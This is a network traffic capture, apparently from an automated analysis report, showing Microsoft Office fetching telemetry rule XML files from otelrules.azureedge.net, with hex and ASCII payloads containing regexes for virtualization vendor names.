Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:14 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:14 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:14 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: cb951b4e-f01e-0020-727f-28956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071814Z-r197bdfb6b4mcssrvu34xzqc5400000004p000000000buq9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:14 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:14 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:14 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:14 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9016a745-201e-0096-70e6-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071814Z-16849878b78wc6ln1zsrz6q9w8000000049000000000fcfd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:14 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:14 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:15 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 923d4e42-a01e-003d-2e31-2798d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071815Z-17c5cb586f6r59nt869u8w8xt800000003k00000000093na x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:15 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:14 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:15 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 18df47ae-c01e-00a1-2249-277e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071815Z-15b8d89586fst84k5f3z220tec0000000n9g0000000087rb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:15 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:14 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:15 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:14 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e574f622-301e-0052-4beb-2565d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071814Z-16849878b78x6gn56mgecg60qc00000006mg000000000phg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:15 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:15 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:15 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d4a93cd8-001e-008d-65f5-24d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071815Z-15b8d89586fqj7k5h9gbd8vs9800000005xg000000001puv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:15 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:15 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:15 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:15 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 0944ca5a-501e-007b-292d-275ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071815Z-17c5cb586f64v7xs992vpxwchg00000004s0000000002fyr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:15 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:15 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:15 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:15 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9cbc4178-801e-008f-12a3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071815Z-16849878b78g2m84h2v9sta29000000003mg000000008gs0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:15 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:15 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:15 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:15 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 4bda8ee7-201e-0003-1763-27f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071815Z-16849878b78wc6ln1zsrz6q9w800000004d00000000062uv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:15 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:15 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:15 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:15 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 4b1c8405-301e-005d-7701-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071815Z-16849878b78x6gn56mgecg60qc00000006d000000000fb3r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 07:18:15 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:15 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:16 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:15 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 16c434fb-a01e-0032-1c41-281949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071815Z-17c5cb586f6z6tw6g7cmdv30m800000005ug000000005fv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 07:18:16 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 07:18:16 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 07:18:16 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 07:18:16 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: d9732123-901e-007b-1098-25ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T071816Z-16849878b78xblwksrnkakc08w00000003wg00000000dcwa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 07:18:16 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 